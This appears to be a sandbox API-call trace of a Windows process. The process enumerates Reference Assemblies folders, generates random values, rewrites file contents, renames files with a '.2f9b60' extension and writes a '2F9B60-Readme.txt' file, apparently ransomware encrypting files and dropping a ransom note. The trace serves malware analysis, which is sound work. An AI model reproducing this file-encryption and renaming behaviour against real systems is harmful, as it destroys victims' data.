[0180.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0180.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x42c14ab0 [0180.151] SetFilePointerEx (in: hFile=0x1de4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.151] WriteFile (in: hFile=0x1de4, lpBuffer=0x42c14ab0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x31aff910, lpOverlapped=0x0 | out: lpBuffer=0x42c14ab0*, lpNumberOfBytesWritten=0x31aff910*=0x10c, lpOverlapped=0x0) returned 1 [0199.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0199.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0199.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267200 [0199.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267200) returned 1 [0199.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20267200 [0199.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202671d0 [0199.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267170 [0199.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267170) returned 1 [0199.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0199.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0199.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9fc30 [0199.678] sprintf (in: _Dest=0x1cd9fc30, _Format="%c%c" | out: _Dest="46") returned 2 [0199.678] sprintf (in: _Dest=0x1cd9fc32, _Format="%c%c" | out: _Dest="95") returned 2 [0199.678] sprintf (in: _Dest=0x1cd9fc34, _Format="%c%c" | out: _Dest="47") returned 2 [0199.678] sprintf (in: _Dest=0x1cd9fc36, _Format="%c%c" | out: _Dest="7b") returned 2 [0199.678] sprintf (in: _Dest=0x1cd9fc38, _Format="%c%c" | out: _Dest="f4") returned 2 [0199.678] sprintf (in: _Dest=0x1cd9fc3a, _Format="%c%c" | out: _Dest="99") returned 2 [0199.678] sprintf (in: _Dest=0x1cd9fc3c, _Format="%c%c" | out: _Dest="a4") returned 2 [0199.678] sprintf (in: _Dest=0x1cd9fc3e, _Format="%c%c" | out: _Dest="80") returned 2 [0199.678] sprintf (in: _Dest=0x1cd9fc40, _Format="%c%c" | out: _Dest="81") returned 2 [0199.678] sprintf (in: _Dest=0x1cd9fc42, _Format="%c%c" | out: _Dest="da") returned 2 [0199.678] sprintf (in: _Dest=0x1cd9fc44, _Format="%c%c" | out: _Dest="7f") returned 2 [0199.678] sprintf (in: _Dest=0x1cd9fc46, _Format="%c%c" | out: _Dest="10") returned 2 [0199.678] sprintf (in: _Dest=0x1cd9fc48, _Format="%c%c" | out: _Dest="6e") returned 2 [0199.678] sprintf (in: _Dest=0x1cd9fc4a, _Format="%c%c" | out: _Dest="90") returned 2 [0199.679] sprintf (in: _Dest=0x1cd9fc4c, _Format="%c%c" | out: _Dest="80") returned 2 [0199.679] sprintf (in: _Dest=0x1cd9fc4e, _Format="%c%c" | out: _Dest="fa") returned 2 [0199.679] sprintf (in: _Dest=0x1cd9fc50, _Format="%c%c" | out: _Dest="bc") returned 2 [0199.679] sprintf (in: _Dest=0x1cd9fc52, _Format="%c%c" | out: _Dest="5c") returned 2 [0199.679] sprintf (in: _Dest=0x1cd9fc54, _Format="%c%c" | out: _Dest="ee") returned 2 [0199.679] sprintf (in: _Dest=0x1cd9fc56, _Format="%c%c" | out: _Dest="62") returned 2 [0199.679] sprintf (in: _Dest=0x1cd9fc58, _Format="%c%c" | out: _Dest="5c") returned 2 [0199.679] sprintf (in: _Dest=0x1cd9fc5a, _Format="%c%c" | out: _Dest="d7") returned 2 [0199.679] sprintf (in: _Dest=0x1cd9fc5c, _Format="%c%c" | out: _Dest="f4") returned 2 [0199.679] sprintf (in: _Dest=0x1cd9fc5e, _Format="%c%c" | out: _Dest="de") returned 2 [0199.679] sprintf (in: _Dest=0x1cd9fc60, _Format="%c%c" | out: _Dest="b7") returned 2 [0199.679] sprintf (in: _Dest=0x1cd9fc62, _Format="%c%c" | out: _Dest="d0") returned 2 [0199.679] RtlInitAnsiString (in: DestinationString=0x31aff988, SourceString="4695477bf499a48081da7f106e9080fabc5cee625cd7f4deb7d0" | out: DestinationString="4695477bf499a48081da7f106e9080fabc5cee625cd7f4deb7d0") [0199.679] RtlAnsiStringToUnicodeString (in: DestinationString=0x31aff958, SourceString="4695477bf499a48081da7f106e9080fabc5cee625cd7f4deb7d0", AllocateDestinationString=1 | out: DestinationString="4695477bf499a48081da7f106e9080fabc5cee625cd7f4deb7d0") returned 0x0 [0199.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85f190 [0199.680] wcscat (in: _Dest=0x431f30c0, _Source="4695477bf499a" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\4695477bf499a") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\4695477bf499a" [0199.680] wcscat (in: _Dest=0x431f30c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\4695477bf499a.2f9b60") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\4695477bf499a.2f9b60" [0199.680] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\4695477bf499a.2f9b60", NtPathName=0x31aff930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\4695477bf499a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x4205f5d0 [0203.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f5d0) returned 1 [0203.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309bdc0) returned 1 [0203.511] NtQueryInformationFile (in: FileHandle=0x1de4, IoStatusBlock=0x31aff998, FileInformation=0x31aff9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x31aff998, FileInformation=0x31aff9a8) returned 0x0 [0203.511] NtSetInformationFile (FileHandle=0x1de4, IoStatusBlock=0x31aff998, FileInformation=0x31aff9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0206.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f30c0) returned 1 [0206.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0206.822] FlushFileBuffers (hFile=0x1de4) returned 1 [0206.824] CloseHandle (hObject=0x1de4) returned 1 [0209.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x43130bf0 [0209.132] wcscpy (in: _Dest=0x43130bf0, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0209.132] wcscat (in: _Dest=0x43130bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\2F9B60-Readme.txt") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\2F9B60-Readme.txt" [0209.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\2F9B60-Readme.txt" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\2f9b60-readme.txt")) returned 0xffffffff [0209.132] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\2F9B60-Readme.txt" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16dc [0216.619] WriteFile (in: hFile=0x16dc, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x31aff850, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x31aff850*=0xba9, lpOverlapped=0x0) returned 1 [0220.313] CloseHandle (hObject=0x16dc) returned 1 [0224.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43130bf0) returned 1 [0224.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861ac0) returned 1 Thread: id = 2009 os_tid = 0x124c [0136.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x2050c710 [0136.979] wcscpy (in: _Dest=0x2050c710, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" [0136.979] wcscat (in: _Dest=0x2050c710, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\" [0136.979] wcscat (in: _Dest=0x2050c710, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*" [0136.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63650 [0136.980] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cfd0 [0136.981] wcscmp (_String1=".", _String2=".") returned 0 [0136.981] FindNextFileW (in: hFindFile=0x1cd9cfd0, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.981] wcscmp (_String1="..", _String2=".") returned 1 [0136.981] wcscmp (_String1="..", _String2="..") returned 0 [0136.981] FindNextFileW (in: hFindFile=0x1cd9cfd0, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0136.981] wcscmp (_String1="FrameworkList.xml", _String2=".") returned 1 [0136.981] wcscmp (_String1="FrameworkList.xml", _String2="..") returned 1 [0136.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205e180 [0136.982] wcscpy (in: _Dest=0x4205e180, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" [0136.982] wcscat (in: _Dest=0x4205e180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\" [0136.982] wcscat (in: _Dest=0x4205e180, _Source="FrameworkList.xml" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" [0150.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205e180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1de0 [0150.800] FindNextFileW (in: hFindFile=0x1cd9cfd0, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 0 [0150.800] FindClose (in: hFindFile=0x1cd9cfd0 | out: hFindFile=0x1cd9cfd0) returned 1 [0150.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63650) returned 1 [0150.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c710) returned 1 [0150.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861f90) returned 1 Thread: id = 2010 os_tid = 0x1250 [0137.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x2050c7c0 [0137.016] wcscpy (in: _Dest=0x2050c7c0, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" [0137.017] wcscat (in: _Dest=0x2050c7c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\" [0137.017] wcscat (in: _Dest=0x2050c7c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*" [0137.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62060 [0137.017] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*", lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c2b0 [0137.017] wcscmp (_String1=".", _String2=".") returned 0 [0137.017] FindNextFileW (in: hFindFile=0x1cd9c2b0, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.017] wcscmp (_String1="..", _String2=".") returned 1 [0137.017] wcscmp (_String1="..", _String2="..") returned 0 [0137.017] FindNextFileW (in: hFindFile=0x1cd9c2b0, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5647fd36, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5647fd36, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754cb2bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0137.017] wcscmp (_String1="Client.xml", _String2=".") returned 1 [0137.017] wcscmp (_String1="Client.xml", _String2="..") returned 1 [0137.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x20279130 [0137.018] wcscpy (in: _Dest=0x20279130, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" [0137.018] wcscat (in: _Dest=0x20279130, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\" [0137.018] wcscat (in: _Dest=0x20279130, _Source="Client.xml" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml" [0150.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20279130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1de8 [0150.804] FindNextFileW (in: hFindFile=0x1cd9c2b0, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5647fd36, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5647fd36, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754cb2bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 0 [0150.804] FindClose (in: hFindFile=0x1cd9c2b0 | out: hFindFile=0x1cd9c2b0) returned 1 [0150.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62060) returned 1 [0150.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c7c0) returned 1 [0150.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861a10) returned 1 Thread: id = 2011 os_tid = 0x1258 [0137.020] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml")) returned 0x20 [0137.023] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml", dwFileAttributes=0x20) returned 1 [0137.023] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1df4 [0137.023] GetFileSizeEx (in: hFile=0x1df4, lpFileSize=0x325cfbe0 | out: lpFileSize=0x325cfbe0*=2578) returned 1 [0137.023] SetFilePointerEx (in: hFile=0x1df4, liDistanceToMove=0xa0e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.024] ReadFile (in: hFile=0x1df4, lpBuffer=0x325cfb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x325cfba8, lpOverlapped=0x0 | out: lpBuffer=0x325cfb60*, lpNumberOfBytesRead=0x325cfba8*=0x4, lpOverlapped=0x0) returned 1 [0137.029] SetFilePointerEx (in: hFile=0x1df4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0137.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0137.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0137.030] NtQuerySystemTime (in: CurrentTime=0x325cfaa0 | out: CurrentTime=0x325cfaa0*=132462177422638000) returned 0x0 [0137.030] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x2ce46759 [0137.030] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x42dc7c4e [0137.030] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0xd9460 [0137.030] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x26f95c7c [0137.030] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x13da27a6 [0137.030] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x792e6238 [0137.030] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x597d851c [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x1cfe6041 [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x3a9fe795 [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x5fbb56bc [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x4cbf8828 [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x1fc8f1e7 [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x31f1d689 [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x4125f538 [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x2ec32a91 [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x553aaf6d [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x352ca3bf [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x7b381362 [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x7e6487ca [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x38d6023c [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x60c1b741 [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0xf83a5e2 [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x2fdc4006 [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x40801517 [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x22c3fe13 [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x36c471da [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x4c9c88dc [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x112fcd7c [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x1d53d1d0 [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x6e288ece [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x2bb27da3 [0137.031] RtlRandomEx (in: Seed=0x325cfa90 | out: Seed=0x325cfa90) returned 0x4aa38d09 [0137.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0137.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0137.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0137.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0137.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0137.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0137.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0137.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0137.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0137.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0137.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203190f0 [0137.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203118d0 [0137.041] ReadFile (in: hFile=0x1df4, lpBuffer=0x203190f0, nNumberOfBytesToRead=0xa12, lpNumberOfBytesRead=0x325cfa90, lpOverlapped=0x0 | out: lpBuffer=0x203190f0*, lpNumberOfBytesRead=0x325cfa90*=0xa12, lpOverlapped=0x0) returned 1 [0137.041] SetFilePointerEx (in: hFile=0x1df4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.041] WriteFile (in: hFile=0x1df4, lpBuffer=0x203118d0*, nNumberOfBytesToWrite=0xa12, lpNumberOfBytesWritten=0x325cfa94, lpOverlapped=0x0 | out: lpBuffer=0x203118d0*, lpNumberOfBytesWritten=0x325cfa94*=0xa12, lpOverlapped=0x0) returned 1 [0137.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0137.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0137.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0137.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203118d0) returned 1 [0137.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203190f0) returned 1 [0137.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0137.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 